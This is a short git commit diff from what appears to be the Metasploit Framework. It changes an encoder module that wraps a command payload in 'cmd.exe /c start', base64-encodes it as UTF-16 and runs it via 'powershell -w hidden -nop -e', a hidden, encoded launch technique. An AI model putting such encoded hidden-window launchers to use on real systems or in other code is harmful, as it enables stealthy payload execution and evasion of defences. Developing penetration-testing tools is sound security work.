Dont use quotes and start in a console
This commit is contained in:
parent
6234528c25
commit
39be214413
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Encoder
|
|||
end
|
||||
|
||||
def encode_buf(buf)
|
||||
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c \"#{buf}\""))
|
||||
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}"))
|
||||
cmd = "powershell -w hidden -nop -e #{base64}"
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue